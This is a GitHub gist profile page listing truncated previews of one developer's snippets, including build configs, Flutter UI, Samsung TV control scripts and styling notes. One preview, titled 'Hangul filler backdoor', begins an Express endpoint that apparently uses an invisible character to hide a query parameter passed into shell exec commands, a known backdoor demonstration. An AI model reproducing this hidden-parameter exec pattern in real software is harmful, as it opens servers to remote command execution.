Skip to content

Instantly share code, notes, and snippets.

View bekharsky's full-sized avatar

Sergey Bekharsky bekharsky

View GitHub Profile
/**
* @type {import('@rspack/cli').Configuration}
*/
const ReactRefreshPlugin = require('@rspack/plugin-react-refresh');
const pkg = require('./package.json');
const rspack = require('@rspack/core');
const path = require('path');
const isDev = process.env.NODE_ENV === 'development';
const isDevBuild = process.env.NODE_ENV === 'none'
const VERSION = pkg.version;
@bekharsky
bekharsky / modal_stack.dart
Created November 17, 2024 14:47
Flutter Cupertino aka iOS Modal Stack
import 'package:flutter/material.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/services.dart';
void main() => runApp(MyApp());
/// Inspiration taken from [modal_bottom_sheet](https://github.com/jamesblasco/modal_bottom_sheet)
class _CupertinoBottomSheetContainer extends StatelessWidget {
/// Widget to render
final Widget child;
@bekharsky
bekharsky / custom.css
Last active February 3, 2024 21:58
custom CSS
*,
*::after,
*::before {
box-sizing: border-box;
}
pre {
appearance: none;
white-space: normal !important;
}
const WebSocket = require('ws');
const tvIP = '192.168.3.6';
const ws = new WebSocket(`wss://${tvIP}:8002/api/v2/channels/samsung.remote.control`, { rejectUnauthorized: false });
ws.onopen = () => console.log('opened.');
ws.onclose = () => console.log('closed.');
ws.onmessage = message => {
const data = JSON.parse(message.data);
const dgram = require('dgram');
const { Buffer } = require('buffer');
// const = 'ssdp:all';
const SAMSUNG_TV_URN = 'urn:samsung.com:device:RemoteControlReceiver:1';
const PORT = 1900;
const TIMEOUT = 2000;
function broadcastSsdp(socket, target) {
const query = Buffer.from(
@bekharsky
bekharsky / hangul_filler.js
Created December 10, 2021 20:11
Hangul filler backdoor
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,} = req.query;
const checkCommands = [
'ping -c 1 google.com',
{
"[dart]": {
"editor.formatOnSave": true,
"editor.formatOnType": true,
"editor.rulers": [
80
],
"editor.selectionHighlight": false,
"editor.suggest.snippetsPreventQuickSuggestions": false,
"editor.suggestSelection": "first",
@bekharsky
bekharsky / tree.txt
Created March 14, 2019 21:49
Typical structure
.
├── Brocfile.js
├── Makefile
├── dist
├── doc
│   ├── 2017-12-23\ Grid\ Definition.md
│   ├── 2017-12-24\ New\ Footer\ Social\ Icons.md
│   ├── 2017-12-25\ Layout\ Changes.md
│   ├── 2017-12-25\ Slider\ Declaration.md
│   ├── 2017-12-27\ Layout\ Changes.md
@bekharsky
bekharsky / fucked-up.md
Last active April 11, 2023 09:50
SCSS BEM Fucked up situation

В общем, суть вся в том, что если ты применяешь БЭМ, все эти бесконечные block block__el block__el_m, велик соблазн написать вот так:

.block {
  стили блока

  &__el {
    стили элемента

    &_m {
      стили модификатора для элемента
@bekharsky
bekharsky / staggered.less
Last active September 29, 2016 21:13
Position icons in the staggered order
@step: @icon-size + 12 / 1366 * 100vw;
@t: @icon-size * 0.35;
@l: -@icon-size;
@d: 5ms;
@from: 0;
@to: 17;
@break: 6;
.loop(@index) when(@index =< @to) {
@i: @index + 1;